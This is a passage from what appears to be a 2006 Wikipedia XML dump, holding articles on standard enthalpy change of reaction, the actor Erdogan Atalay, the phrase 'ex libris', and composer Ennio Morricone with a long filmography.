The '''standard enthalpy change of reaction''' (denoted '''''H''° or ''H''&lt;sup&gt;&lt;s&gt;o&lt;/s&gt;&lt;/sup&gt;''')is the [[enthalpy]] change that occurs in a system when 1 equivalent of matter is transformed by a [[chemical reaction]] under [[standard conditions]]. 

A common '''standard enthalpy change''' is the [[standard enthalpy change of formation]], which has been determined for a vast number of substances. The enthalpy change of any reaction under any conditions can be computed, given the [[standard enthalpy change of formation]] of all of the reactants and [[product]]s. Other reactions with standard enthalpy change values include combustion ([[standard enthalpy change of combustion]]) and neutralisation ([[standard enthalpy change of neutralisation]]).

==See also==
*[[Calorimetry]]
*[[Calorimeter]]

&lt;!--Categories--&gt;
[[Category:Thermodynamics]]
[[Category:Heat]]

&lt;!--Interwiki--&gt;
[[de:Enthalpie]]
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  </page>
  <page>
    <title>Erdogan Atalay</title>
    <id>10275</id>
    <revision>
      <id>37674244</id>
      <timestamp>2006-02-01T13:59:10Z</timestamp>
      <contributor>
        <username>Tubantia</username>
        <id>298572</id>
      </contributor>
      <minor />
      <comment>+ de</comment>
      <text xml:space="preserve">'''Erdogan Atalay''' was born to a [[Republic of Turkey|Turkish]] family on [[September 22]] [[1966]] in [[Hanover]], [[Germany]]. After making his first appearance as a small actor in &quot;Aladdin and the miracle lamp&quot; at the national theatre of Hanover, he took part in several television series such as ''Music Groschenweise'', ''Employment for Lohbeck'', ''Double Employment'' and ''The Guard''. He is currently playing a Turkish main commissioner character Semih Gurkan in a German television series called &quot;Alarm für Cobra 11&quot;.

{{Germany-actor-stub}}

[[Category:1966 births|Atalay, Erdogan]]
[[Category:Living people|Atalay, Erdogan]]

[[de:Erdoğan Atalay]]
[[fr:Erdogan Atalay]]</text>
    </revision>
  </page>
  <page>
    <title>Ex libris</title>
    <id>10276</id>
    <revision>
      <id>41377003</id>
      <timestamp>2006-02-26T23:04:54Z</timestamp>
      <contributor>
        <ip>84.191.160.247</ip>
      </contributor>
      <text xml:space="preserve">'''Ex libris''' ([[Latin]]: ''from books'')  is a phrase often used in an ownership [[inscription]] or a [[bookplate]], usually found on the inside of a [[book]] cover or on one of the first few pages. It indicates ownership, and is usually followed by a name in the [[genitive case]], i.e. ''from the books of ...'' or ''from the library of ...''. It may also be written as '''e libris'''.

Ownership inscriptions in books did not become common in Europe until the [[13th century]], when various other forms of '[[librarian]]ship' became widespread (such as the use of class-marks, call-numbers, or shelfmarks).

Printed bookplates (the earliest surviving example is [[15th century]]) typically include [[heraldry]], a [[motto]], and the name of the owner; but they may have no more than just a name or heraldic [[crest (heraldry)|crest]], or be far more elaborate. 

==See also==
*[[Lithograph]]
*[[Library classification]]
*[[Bookplate]]

==External links==
*[http://www.geocities.com/Athens/Olympus/4369/Bookplate/contents.htm Cyber Journal of Ex Libris / Bookplates Contents Page]
*[http://www.bookplate.org/ American Society of Bookplate Collectors &amp; Designers]
*[http://www.exlibris-insel.de/languages/en/index.html bookplates - ex libris design &amp; art!] collection and manufacture
[[Category:Latin phrases]]
[[Category:Books]]
[[Category:Inscriptions]]

[[da:Ekslibris]]
[[de:Exlibris]]
[[es:Ex libris]]
[[it:Ex libris]]
[[nl:Ex libris]]
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[[ru:Экслибрис]]
[[sv:Exlibris]]</text>
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  </page>
  <page>
    <title>Ennio Morricone</title>
    <id>10277</id>
    <revision>
      <id>41174584</id>
      <timestamp>2006-02-25T15:17:53Z</timestamp>
      <contributor>
        <username>BorgQueen</username>
        <id>382591</id>
      </contributor>
      <minor />
      <comment>link fix - The Mission (film)</comment>
      <text xml:space="preserve">[[Image:Ennio_morricone.jpg|thumb|270px|Ennio Morricone.]]
'''Ennio Morricone''' (born [[November 10]], [[1928]], [[Rome]]) is an [[List of Italian composers|Italian composer]], especially noted for his [[film score]]s. He has composed the scores of more than 500 films and TV series. Although only 30 of these are for [[Western films]], it is for this work which he is best known. Morricone's sparse style of composition for the genre is particularly exemplified by the soundtracks of the classic [[spaghetti westerns]], ''[[The Good, the Bad and the Ugly]]'' ([[Sergio Leone]], 1966) and ''[[Once Upon a Time in the West]]'' ([[Sergio Leone]], 1968). In more recent years, his haunting scores for ''[[The Mission (film)|The Mission]]'' ([[Roland Joffé]], 1986), ''[[The Untouchables]]'' ([[Brian DePalma]], 1987), and ''[[Cinema Paradiso]]'' ([[Giuseppe Tornatore]], 1988) have demonstrated his giftedness and the power of his work.

==Biography==
Morricone was born in [[Rome]] and was educated at the Conservatory of the [[Accademia Nazionale di Santa Cecilia]] in the [[trumpet]] and composition under [[Goffredo Petrassi]], and [[choral music]] and choral direction. In the beginning he regarded himself to be destined to compose modern classical music, but this changed when he was invited to write arrangements for popular Italian songs, at which he was completely unfamiliar at that time. A particular success was the song ''Se telefonando'' sung by [[Mina]].

In [[1956]] he married Maria Travia. He began writing music for films in [[1962]] but continued to work in classical composition and arrangement. In [[1964]] he began his famous collaboration with [[Sergio Leone]] and [[Bernardo Bertolucci]]. For Leone he wrote the score for ''[[A Fistful of Dollars]]'' ([[Sergio Leone]], 1964) and continued with a number of other [[Spaghetti Western]] films. By [[1968]] he was reducing his work outside of film, in the same year he wrote twenty scores for films. His collaboration with Leone is considered one of the [[List of noted film director and composer collaborations|finest collaborations between a director and a composer]]. He scored all of Leone's films from [[A Fistful of Dollars]] to [[Once Upon A Time In America]]. The latter often considered his finest work. His score of [[The Good, the Bad and the Ugly]] in particular is his most famous and along with the [[William Tell Overture]] is one of the most recognized sounds ever affiliated with the [[Western]] genre. Although he is most famous for writing the scores of Leone's films, he was more at ease with directors such as [[Giuliano Montaldo]] and [[Gillo Pontecorvo]].  Morricone frequently collaborated with childhood friend [[Alessandro Alessandroni]], who performed as the whistler on many of the [[Sergio Leone]] soundtracks.

He received his first ''[[Nastro d'Argento]]'' in [[1970]] for the music in ''Metti, una Sera a Cena'' ([[Giuseppe Patroni Griffi]], [[1969]]) and his second only a year later for ''[[Sacco and Vanzetti]]'' (Guiliano Montaldo, [[1971]]). He received his first nomination for an [[Academy Award]] in [[1979]] for the score to ''[[Days of Heaven]]'' ([[Terrence Malick]], [[1978]]) and another in [[1986]] for ''[[The Mission (film)|The Mission]]'', [[1987]] for ''[[The Untouchables]]'' ([[Brian De Palma]], [[1987]]), [[1991]] for ''[[Bugsy]]'' ([[Barry Levinson]], [[1991]]) and [[2001]] for ''[[Malèna]]'' ([[Giuseppe Tornatore]], [[2000]]).

He composed over two dozen scores for the Italian [[Mafia]] TV series [[La Piovra]]. ''See [[La Piovra 2 (soundtrack)]], [[La Piovra 3 (soundtrack)]], [[La Piovra 4 (soundtrack)]], [[La Piovra 5 (soundtrack)]].''

Morricone's film music has been recorded by other artists on a number of occasions: [[Hugo Montenegro]] had a hit with a version of the theme from ''The Good, the Bad and the Ugly'' in both the UK and the US and followed it up with an album of Morricone's music in 1968, and [[John Zorn]] recorded an album of Morricone's music, ''The Big Gundown'', in the mid-1980s. More recently Morricone collaborated with world music artists, like Portuguese [[fado]] singer [[Dulce Pontes]] (in 2003) and a [[virtuoso]] cellist [[Yo-Yo Ma]] (in 2004), who both recorded albums of Morricone classics with the Roma Sinfonietta Orchestra and Morricone himself conducting. [[Metallica]] uses Morricone's ''Ecstasy of Gold'' as an intro at their concerts. The [[San Francisco Symphony Orchestra]] also played it on Metallica's [[Symphonic Rock]] album [[S&amp;M (album)|S&amp;M]]. [[Ramones]] used the theme from &quot;The Good, the Bad and the Ugly&quot; as a concert intro. The theme from ''A Fistful Of Dollars'' is also used as a concert intro by [[The Mars Volta]].

In [[2003]] he scored the Japanese [[Taiga drama]] about [[Miyamoto Musashi]], Japan's legendary warrior. 

In [[2005]] he is currently on a world tour with the Roma Sinfonietta Orchestra, touring from cities like New York, [[Bilbao]], [[Bratislava]] and Tokyo. 

In [[2006]] the soundtrack maestro is set to make a guest appearance on the [[Morrissey]] album ''[[Ringleader of the Tormentors]]'', scoring the string part for [[Dear God, Please Help Me]], recorded in Rome's Forum Music Village Studios.

==Prizes and Awards==
*[[1969]] - ''Premio Spoleto Cinema'' 
*[[1970]] - ''[[Nastro d'argento]]'' for ''Metti, una sera a cena'' 
*[[1971]] - ''[[Nastro d'argento]]'' for ''Sacco e Vanzetti&quot;'' 
*[[1972]] - ''[[Cork Film International]]'' for ''La califfa'' 
*[[1979]] - ''[[Academy Award|Oscar]] Nomination'' for ''[[Days of Heaven]]'' 
*[[1981]] - ''Premio della critica discografica'' for ''Il prato'' 
*[[1985]] - ''Nastro d'argento'' and ''[[Bafta]]'' for ''[[Once Upon A Time In America]]'' 
*[[1986]] - ''[[Academy Award|Oscar]] Nomination'', ''[[Bafta]]'' and ''[[Golden Globe Award]]'' for ''The Mission'' 
*[[1988]] - ''[[Nastro d'argento]]'', ''[[Bafta]]'', ''[[Grammy Award]]'' and ''[[Academy Award|Oscar]] Nomination'' for ''[[The Untouchables]]''
*[[1988]] - ''[[David di Donatello]]'' for ''Gli occhiali d'oro'' 
*[[1989]] - ''[[David di Donatello]]'' for ''Nuovo Cinema Paradiso'' 
*[[1989]] - ''[[Nint Annual Ace Winner]]'' for ''Il giorno prima'' 
*[[1989]] - ''Pardo d'Oro alla carriera'' ([[Locarno Film Festival]]) 
*[[1990]] - ''[[Bafta]]'', ''Prix Fondation Sacem del XLIII'' [[Cannes Film Festival]] and ''[[David di Donatello]]'' for ''Nuovo Cinema Paradiso'' 
*[[1991]] - ''[[David di Donatello]]'' for ''Stanno tutti bene'' 
*[[1992]] - ''[[Academy Award|Oscar]] Nomination'' for ''[[Bugsy]]''
*[[1992]] - Grolla d'oro alla carriera (Saint Vincent) 
*[[1993]] - ''[[David di Donatello]]'' and ''Efebo d'Argento'' for ''Jonas che visse nella balena'' 
*[[1994]] - ASCAP ''Golden Soundtrack award'' (Los Angeles)
*[[1995]] - ''Leone d'Oro alla carriera'' ([[Venice Film Festival]]) 
*[[2000]] - ''[[Golden Globe Award]]'' for ''The [[Legend of 1900]] (1998)''
*[[2000]] - ''David di Donatello'' for ''Canone inverso''
*[[2000]] - ''[[Academy Award|Oscar]] Nomination'' for ''[[Malèna]]''
*[[2003]] - ''[[Golden Eagle Award]]'' for ''72 Meters''
*[[2006]] - Grand Officer award from [[List of Presidents of the Italian Republic|President of the Italian Republic]] [[Carlo Azeglio Ciampi]]

==Soundtrack Filmography (-see talk-)==
'''1961'''
*''Il federale'' / ''The Fascist'' ([[Luciano Salce]])
'''1962'''
*''La cuccagna'' / ''Girl In a Million'' (Luciano Salce)
*''Diciottenni al sole'' (Camillo Mastrocinque)
*''La voglia matta'' / ''Crazy Desire'' (Luciano Salce)
*''I motorizzati'' / ''The Motorists'' (Camillo Mastrocinque)
'''1963'''
*''Le monachine'' / ''The Little Nuns'' (Luciano Salce)
*''Il successo'' (Mauro Morassi) - the film was actually directed by Dino Risi
*''I basilischi'' ([[Lina Wertmüller]])
*''Duello nel Texas'' / ''Gunfight at Red Sands'' (Ricardo Blasco)
*''I marziani hanno 12 mani'' (Castellano e Pipolo)
'''1964'''
*''...e la donna creò l'uomo'' (Camillo Mastrocinque)
*''I maniaci'' (Lucio Fulci)
*''I due evasi da Sing Sing'' (Lucio Fulci)
*''Per un pugno di dollari'' / ''[[A Fistful of Dollars]]'' (Sergio Leone)
*''Le Pistole non discutono'' (Mario Caiano)
*''I Malamondo'' (Paolo Cavara)
'''1965'''
*''Trilling'' (Carlo Lizzani, Gianni Luigi Polidori, Ettore Scola)
*''Slalom'' (Luciano Salce)
*''Menage all'italiana'' (Franco Indovina)
*''Una pistola per Ringo'' (Duccio Tessari)
*''Gli amamti d'oltretomba'' (Mario Caiano)
*''Altissima pressione'' (Enzo Trapani) - composed together with [[Luis Enriquez Bacalov]]
*''I pugli in tasca'' (Marco Bellocchio)
*''Idoli controluce'' (Enzo Battaglia)
*''Il ritorno di Ringo'' (Duccio Tessari)
*''Per qualche dollaro in più'' / ''[[For a Few Dollars More]]'' ([[Sergio Leone]])
*''Sette pistole per i Mac Gregor'' (Franco Giraldi)
'''1966'''
*''La battaglia di Algeri'' / ''[[The Battle of Algiers]]'' ([[Gillo Pontecorvo]]) composed together with the director
*''Svegliati e uccidi'' (Carlo Lizzani)
*''Per Firenze'' ([[Franco Zeffirelli]]) - documentary
*''[[Navajo Joe]]'' ([[Sergio Corbucci]])
*''Matchless'' (Alberto Lattuada)
*''Un fiume di dollari'' (Carlo Lizzani) - credited as Leo Nichols
*''Agent 505 - Todesfalle Beirut'' (Manfred R. Köhler)
*''Uccellacci e uccellini'' ([[Pier Paolo Pasolini]])
*''El greco'' (Luciano Salce)
*''Un uomo a metà'' (Vittorio de Seta)
*''Come imparai ad amare le donne'' (Luciano Salce)
*''La resa dei conti'' (Sergio Sollima)
*''Il buono, il brutto, il cattivo'' / ''[[The Good, the Bad, and the Ugly]]'' (Sergio Leone)
*''Sette donne per i McGregor (Franco Giraldi)
*''Per pochi dollari ancora'' (Giorgio Ferroni)
'''1967'''
*''Il giardino delle delizie'' (Silvano Agosti)
*''Dalle Ardenne all'inferno'' (Alberto de Martino)
*''[[L'Avventuriero]]'' / ''The Rover'' ([[Terence Young]])
*''Pedro Páramo'' (Carlos Velo)
*''La terra vista dalla luna'' (Pier Paolo Pasolini) - episode from ''Streghe''
*''I crudeli'' (Sergio Corbucci)
*''La Cina è vicina''(Marco Bellocchio)
*''Ad ogni costo'' (Giuliano Montaldo)
*''L'harem'' (Marco Ferreri)
*''La ragazza e il generale (Pasquale Festa Campanile)
*''Faccia a faccia'' (Sergio Sollima)
*''Arabella'' (Mauro Bolognini)
*''[[Danger: Diabolik]]'' ([[Mario Bava]])
'''1968'''
*''Scusi, facciamo l'amore?'' (Vittorio Caprioli)
*''Tepepa'' (Giulio Petroni)
*''Il mercenario'' / ''The Mercenary'' (Sergio Corbucci)
*''Eat-it (mangiala)'' (Francesco Casaretti)
*''L'Italia vista dal cielo'' (Folco Quilici) - documentary
*''Grazie Zia'' (Salvatore Samperi)
*''...e per tetto un cielo di stelle'' (Giulio Petroni)
*''Ecce Homo'' (Bruno Gaburro)
*''Corri, uomo, corri'' (Sergio Sollima)
*''Escalation'' (Roberto Faenza)
*''Da uomo a uomo'' (Giulio Petroni)
*''La bataille de San Sebastian'' (Henry Verneuil)
*''Comandamenti per un Gangster'' (Alfio Catabiano)
*''Teorema'' / ''[[Theorem (movie)|Theorem]]'' (Pier Paolo Pasolini)
*''Partner'' ([[Bernardo Bertolucci]])
*''Roma come Chicago (Banditi a Roma)'' (Alberto de Martino) - composed with [[Bruno Nicolai]]
*''Gli intoccabili'' ([[Giuliano Montaldo]])
*''C'era una volta il West'' / ''[[Once Upon a Time in the West]]'' (Sergio Leone)
*''Fräulein Doktor'' (Alberto Lattuada)
*''Il grande silenzio'' / ''[[The Great Silence]]'' (Sergio Corbucci)''
*''L'alibi'' (Adolfo Celi, Luciano Lucignani, Vittorio Gassman)
*''Galileo'' ([[Liliana Cavani]])
*''La monaca di Monza'' (Eriprando Visconti)
*''Ruba al prossimo tuo'' (Francesco Maselli)
*''Un tranquillo posto di campagna'' (Elio Petri)
*''H2S'' (Roberto Faenza)
'''1969'''
*''Cuore di mamma'', Salvatore Samperi
*''Gott Uns'', [[Giuliano Montaldo]]
*''I cannibali'', Liliana Cavani
*''La donna invisibile'', Paolo Spinola
*''L'assoluto naturale'', Mauro Bolognini
*''La stagione dei sensi'', Massimo Franciosa
*''Le clan des siciliens'', Henri Verneuil
*''Metti, una sera a cena'', Giuseppe Patroni Griffi
*''Queimada'', [[Gillo Pontecorvo]]
*''Sai cosa faceva Stalin alle donne?'', Maurizio Liverani
*''Senza sapere niente di lei'', Luigi Comencini
*''Tepepa'', Giulio Petroni
*''Una breve stagione'', Renato Castellani
*''Un bellissimo novembre'', Mauro Bolognini
*''Un esercito di cinque uomini'' / ''[[The Five Man Army]]'', Italo Zingarelli
*''Vergogna, schifosi'', Mauro Severino
'''1970'''
*''Città violenta'', Sergio Sollima
*''Giochi particolari'', Franco Indovina
*''Hornet's Nest'', Phil Carlson (USA vers.); Franco Girino (Italian vers.)
*''Krasnaya Palatka'' (''La tenda rossa''), Mikhail Kalatozov - music of russian *version by Aleksandr Zatsepin
*''Indagine su un cittadino al di sopra di ogni sospetto'', Elio Petri
*''La califfa'', Alberto Bevilacqua
*''La moglie più bella'', Damiano Damiani
*''[[L'uccello dalle piume di cristallo]]'', [[Dario Argento]]
*''Lui per lei'', Claudio Rispoli - never distributed film
*''Metello'', Mauro Bolognini
*''Quando le donne avevano la coda'', Pasquale Festa Campanile
*''Sacco e Vanzetti'' / ''[[Sacco and Vanzetti]]'', [[Giuliano Montaldo]]
*''Two Mules for Sister Sara'', [[Don Siegel]]
*''Uccidete il vitello grasso e arrostitelo'', Salvatore Samperi
*''Vamos a matar compañeros'', Sergio Corbucci
'''1971'''
*''Addio fratello crudele'', Giuseppe Patroni Griffi
*''Correva l'annodi grazia 1870'', Alfredo Giannetti
*''Forza G'', Duccio Tessari
*''Giù la testa'', Sergio Leone
*''Gli occhi freddi della paura'', Enzo G. Castellari
*''Il Decamerone'', [[Pier Paolo Pasolini]]
*''Il gatto a nove code'', [[Dario Argento]]
*''Incontro'', Piero Schivazappa
*''La classe operaia va in paradiso'', Elio Petri
*''Le casse'', Henri Verneuil
*''La corta notte delle bambole di vetro'', Aldo Lado
*''Le foto proibite di una signora perbene'', Lucio Ercoli
*''L'istruttoria è chiusa: dimentichi'', Damiano Damiani
*''Maddalena'', Jerzy Kawalerovicz
*''Oceano'', Folco Quilici
*''Quattro mosche di velluto grigio'', Dario Argento
*''Sans mobile apparent'', Philippe Labro
*''Tre nel mille'', Franco Indovina
*''Una lucertola con la pelle di donna'', Lucio Fulci
*''Veruschka'', Franco Rubartelli
'''1972'''
*''Anche se volessi lavorare, che faccio?'', Flavio Mogherini
*''Bluebeard'', Edward Dmytrick
*''Che c'entriamo noi con la rivoluzione?'', Sergio Corbucci
*''Chi l'ha vista morire?'', Aldo Lado
*''Cosa avete fatto a Solange?'', Massimo Dallamano
*''D'amore si muore'', Carlo Carunchio
*''Fiorina la vacca'', Vittorio De Sisti
*''Giornata nera per l'ariete'', Luigi Bazzoni
*''I figli chiedono perché'', Nino Zanchin
*''Il diavolo nel cervello'', Sergio Sollima
*''Il Maestro e Margherita'', Aleksander Petrovic
*''Imputazione di omicidio per uno studente'', Mauro Bolognini
*''I racconti di Canterbury'', [[Pier Paolo Pasolini]]
*''La banda, J. &amp; S.'', Sergio Corbucci
*''La tarantola dal ventre nero'', Paolo Cavara
*''L'attentat'', Yves Boisset
*''La vita a volte è molto dura, vero Provvidenza?'', Giulio Petroni
*''L'ultimo uomo di Sara'', Maria Virginia Onorato
*''Mio caro assassino'', Tonino Valeri
*''Quando le donne persero la coda'', Pasquale Festa Campanile
*''Questa specie d'amore'', Alberto Bevilacqua
*''Violenza: quinto potere'', Florestano Vancini
'''1973'''
*''La proprietà non è più un furto'', Elio Petri
*''Ci risiamo, vero Provvidenza?'',* Alberto De Martino
*''Crescete e moltiplicatevi'', Giulio Petroni
*''Giordano Bruno'', [[Giuliano Montaldo]]
*''Il mio nome è Nessuno'', Tonino Valeri
*''La cosa buffa'', Aldo Lado
*''Le serpent'', Henri Verneuil
*''Libera amore mio'', Mauro Bolognini
*''Quando l'amore è sensualità'', Vittorio De Sisti
*''Quando la preda è l'uomo / Spogliati protesta uccidi'', Vittorio De Sisti
*''Rappresaglia'', George Pan Cosmatos
*''Revolver'', Sergio Sollima
*''Sepolta viva'', Aldo Lado
*''Un uomo da rispettare'', Michele Lupo
'''1974'''
*''Allonsanfàn'', Paolo e Vittorio Taviani
*''Fatti di gente perbene'', [[Mauro Bolognini]]
*''Il fiore delle Mille e una notte'', Pier Paolo Pasolini
*''Il giro del mondo degli innamorati di Peynet'',* Cesare Perfetto
*''Il sorriso del grande tentatore'', Damiano Damiani
*''La cugina'', Aldo Lado
*''La faille'', Peter Fleischmann
*''Le secret'', Robert Enrico
*''Le trio infernal'', Francis Girod
*''Macchie solari'', Armando Crispino
*''Milano odia: la polizia non può sparare'', Umberto Lenzi
*''Mussolini, ultimo atto'', Carlo Lizzani
*''Sesso in confessionale'', [[Vittorio De Sisti]]
*''Space 1999'', Lee H. Katzin - soundtrack based in the RCA Italiana repertoire with exception of the title theme
*''Spasmo'', Umberto Lenzi
'''1975'''
*''Attenti al buffone'', Alberto Bevilacqua
*''Divina creatura'',* Giuseppe Patroni Grifi
*''Gente di rispetto'', Luigi Zampa
*''Labbra di lurido blu'', Giulio Petroni
*''La donna della domenica'', Luigi Comencini
*''L'anticristo'',* Alberto De Martino
*''Leonor'', [[Juan Buñuel]]
*''L'ultimo treno della notte'', Aldo Lado
*''Peur sur la ville'', Henri Verneuil
*''[[Salò o le 120 giornate di Sodoma]]'' / ''Salo or the 120 Days of Sodom'', Pier Paolo Pasolini
*''Storie di vita e malavita'', Carlo Lizzani
*''The Human Factor'', Edward Dmytrick
*''Todo modo'', Elio Petri - The presence of [[Charles Mingus]] in a presumed USA edition on some discographies is wrong. The production originally contacted Mingus, and from the collaboration came a recording which is probably the cause of the misleading.
*''Un genio, due compari, un pollo'', [[Damiano Damiani]]
'''1976'''
*''Der Richter und sein Henker'', [[Maximilian Schell]]
*''Il deserto dei tartari'', Valerio Zurlini
*''L'Agnese va a morire'', [[Giuliano Montaldo]]
*''L'eredità Ferramonti'', [[Mauro Bolognini]]
*''Le ricain'', Jean Marie Pallardy - identity and collocation are doubtful, as it is doubtful that this is an original collaboration
*''Novecento'', [[Bernardo Bertolucci]]
*''Per amore'', Mino Giarda
*''Per le antiche scale'', Mauro Bolognini
*''René la Canne'', [[Francis Girod]]
*''San Babila ore 20: un delitto inutile'', Carlo Lizzani
*''Una vita venduta'', Aldo Florio
'''1977'''
*''Autostop rosso sangue'', Pasquale Festa Campanile
*''Forza Italia'', Roberto Faenza
*''Il gatto'', Luigi Comencini
*''Il mostro'', Luigi Zampa
*''Il prefetto di ferro'', Pasquale Squitieri
*''[[Orca (film)|Orca]]'', [[Michael Joseph Anderson|Michael Anderson]]
*''Stato interessante'', Sergio Nasca
*''[[Exorcist II: The Heretic]]'', [[John Boorman]]
'''1978'''
*''Corleone'', Pasquale Squitieri
*''Così come sei'', Alberto Lattuada
*''[[Days of Heaven]]'', [[Terrence Malick]]
*''Dove vai in vacanza?'', Episodio ''Sarò tutta per te'', Mauro Bolognini
*''Ege kai ni sasagu'' (Dedicato al mare Egeo), [[Masuo Ikeda]]
*''Holocaust 2000'', Alberto De Martino
*''La cage aux folles'', Edouard Molinaro
*''Le mani sporche'', Elio Petri
*''L'immoralità'', Massimo Pirri
*''Viaggio con Anita'', Mario Monicelli
*''122 rue de Provence'', Christian Gion
'''1979'''
*''Bloodline'', [[Terence Young]]
*''Dedicato al mare Igeo''
*''I... comme Icare'', Henri Verneuil
*''Il giocattolo'', [[Giuliano Montaldo]]
*''La luna'', [[Bernardo Bertolucci]]
*''Le buone notizie'', [[Elio Petri]]
*''L'umanoide'', [[Aldo Lado]]
*''Il prato'', Paolo and [[Vittorio Taviani]]
*''Ogro'', [[Gillo Pontecorvo]]
'''1980'''
*''Il bandito dagli occhi azzurri'', Alfredo Giannetti
*''Il ladrone'', Pasquale Festa Campanile
*''La cage aux folles II'', Edouard Molinaro
*''Professione figlio'' / ''Bugie bianche'', Stefano Rolla
*''Si salvi chi vuole'', Roberto Faenza
*''Stark system'', Armenia Balducci
*''The Island'', Michael Ritchie
*''Un sacco bello'', Carlo Verdone
*''Uomini e no'', Valentino Orsini
*''Windows'', [[Gordon Willis]]
'''1981'''
*''Bianco rosso e verdone'', Carlo Verdone
*''Butterfly'', Matt Cimber
*''Espion lève toi'', Yves Boisset
*''La banquiere'', Francis Girod
*''La disubbidienza'', Aldo Lado
*''La tragedia di un uomo ridicolo'', [[Bernardo Bertolucci]]
*''La vera storia della signora dalle camelie'', [[Mauro Bolognini]]
*''[[Le professionnel]]'', [[Georges Lautner]]
*''Occhio alla penna'', Michele Lupo
*''So Fine'', Andrew Bergman
*''[[White Dog]]'', [[Samuel Fuller]]
'''1982'''
*''Cop Killer'', Roberto Faenza
*''El tesoro de las cuatro coronas'', Ferdinando Baldi
*''Extrasensorial /The Link'', Alberto De Martino
*''Hundra'', Matt Cimber
*''Le ruffian'', Josè Giovanni
*''Nana'', Dan Wolman
*''[[The Thing]]'', [[John Carpenter]]
'''1983'''
*''La chiave'', [[Tinto Brass]]
*''Le marginai'', Jacques Deray
*''Les voleurs de la nuit'', [[Samuel Fuller]]
*''[[Sahara (1983 movie)|Sahara]]'', Andrew V. McLaglen
*''Seven Graves for Rogan'' / ''A Time to Die'', Matt Cimber
'''1984'''
*''Don't Kill God'', Jacqueline Manzano - identity and collocation are doubtful, *as it is doubtful that this is an original collaboration
*''Il pentito'', Pasquale Squitieri
*''La cage aux folles III'', Georges Lautner
*''La gabbia'', Giuseppe Patroni Grifi
*''La Venexiana'', [[Mauro Bolognini]]
*''[[Once Upon a Time in America]]'', [[Sergio Leone]]
'''1985'''
*''[[Red Sonja (1985 film)|Red Sonja]]'', [[Richard Fleischer]]
'''1986'''
*''Mosca addio'', [[Mauro Bolognini]]
*''[[The Mission]]'', [[Roland Joffé]]
'''1987'''
*''Gli occhiali d'oro'', [[Giuliano Montaldo]]
*''Il giorno prima'', [[Giuliano Montaldo]]
*''Il segreto del Sahara'', Alberto Negrin
*''Quartiere'', Silvano Agosti
*''[[The Untouchables]]'', [[Brian De Palma]]
'''1988'''
*''A Time of Destiny'', Gregory Nava
*''[[Frantic]]'', [[Roman Polanski]]
*''[[Nuovo Cinema Paradiso]]'', [[Giuseppe Tornatore]]
'''1989'''
*''[[Casualties of War (movie)|Casualties of War]]'', [[Brian De Palma]]
*''[[Fat Man and Little Boy]]'', [[Roland Joffé]]
*''Tempo di uccidere'', [[Giuliano Montaldo]]
'''1990'''
*''Atame!'' / ''[[Tie Me Up! Tie Me Down!]]'', [[Pedro Almodovar]]
*''Dimenticare Palermo'', Francesco Rosi
*''Hamlet'', [[Franco Zeffirelli]]
*''Mio caro dottor Grasler'', Roberto Faenza
*''Stanno tutti bene'', [[Giuseppe Tornatore]]
*''State of Grace'', Phil Joanou
*''Tre colonne in cronaca'', Carlo Vanzina
'''1991'''
*''[[Bugsy]]'', [[Barry Levinson]]
*''Cacciatori di navi'', Folco Quilici
*''Crossing the Line'', [[David Leland]]
*''La domenica specialmente'' - Episodi di Giuseppe Bertolucci, Marco
*''Tullio'', Giordana e Giuseppe Tornatore
*''La villa del venerdì'', Mauro Bolognini
'''1992'''
*''City of Joy'', Roland Joffé
*''[[Rampage]]'', [[William Friedkin]] - completed in 1987
'''1993'''
*''Il lungo silenzio'', [[Margarethe von Trotta]]
*''[[In the Line of Fire]]'', [[Wolfgang Petersen]]
*''Jona che visse nella balena'', Roberto Faenza
*''La scorta'', Ricky Tognazzi
'''1994&amp;ndash;1998'''
*''[[Love Affair]]'' (1994)
*''[[Disclosure (film)|Disclosure]]'' ([[Barry Levinson]], 1994)
*''Pasolini, un delitto italiano'' (1995)
*''The Night and the Moment'' (1995)
*''Tashunga'' (1996)
*''La sindrome di Stendhal'' (1996)
*''[[Lolita (1997 film)|Lolita]]'' ([[Adrian Lyne]], 1997)
*''Cartoni animati'' (1997)
*''Con rabbia e con amore'' (1997)
*''Naissance des stéréoscopages'' (1997)
*''La leggenda del pianista sull'oceano'' / ''The Legend of 1900'' ([[Giuseppe Tornatore]], 1998)
*''Il fantasma dell'opera'' / ''The Phantom of the Opera'' ([[Dario Argento]], 1998)
*''John Carpenter's The Thing: Terror Takes Shape'' (1998)
*''[[Bulworth]]'', [[Warren Beatty]] (1998)
'''2000&amp;ndash;2004'''
*''[[Malèna]]'' (Giuseppe Tornatore, 2000)
*''Sensitive New-Age Killer'' (Mark Savage, 2000)?
*''[[Mission to Mars]]'' ([[Brian De Palma]], 2000)
*''Vatel'' ([[Roland Joffé]], 2001)
*''Aida degli alberi'' / ''Aida of the Trees'' (2001)
*''Un altro mondo è possibile'' / ''Another World Is Possible'' (2001)
*''Cowboys Don't Kiss In Public'' (2001)
*''La ragion pura'' (2001)
*''Senso `45'' ([[Tinto Brass]], 2002)
*''L'ultimo pistolero'' (2002)
*''La luz prodigiosa'' / ''The End of a Mystery'' (2003)
*''72 metra'' / ''72 meters'' (2004)
*''Sorstalanság'' / ''[[Fateless (film)|Fateless]]'' (Lajos Koltai, 2004)

== TV films &amp; series ==
*''The Virginian'' (TV series, 1962-1970)
*''Lo squarciagola'' (1966)
*''Marco Polo'' ([[Giuliano Montaldo]], TV series, 1982)
*''Gli indifferenti'' ([[Mauro Bolognini]], 1988)
*''In fondo al cuore'' (1997)
*''Nostromo'' (1997) (TV series)
*''Ultimo 2 - La sfida'' (1999)
*''Padre Pio - Tra cielo e terra'' (2001)
*''Musashi'' (TV series, 2002)
*''Charlie Chaplin - Les années suisses'' (2003)
*''Il cuore nel pozzo'' (2005)
*''Karol, un uomo diventato papa'' (2005)

== Films with songs by Morricone ==
*''Gli imbroglioni'' (Lucio Fulci, 1963) the song ''Gokart twist''
*''Prima della rivoluzione'' (Bernardo Bertolucci, 1963) songs of Morricone and Gino Paoli
*''In ginocchio da te'' (Ettore Maria Fizzarotti, 1964)
*''Non son degno di te'' (Ettore Maria Fizzarotti, 1965)
*''Se non avessi più te'' (Ettore Maria Fizzarotti, 1965)
*''Mi vedrai tornare'' (Ettore Maria Fizzarotti, 1966)
*''O.K. Connery (Alberto de Martino, 1966)
*''[[Kill Bill]]'' vol. 2 features the songs ''L'Arena,'' ''Il Tramonto'' and ''A Silhouette of Doom,'' from three of his spaghetti western movies.

?(Al)La scoperta dell'America (Sergio Giordani, 1977)?


See also: [[Morricone, classical compositions|List of classical compositions]]

==References==
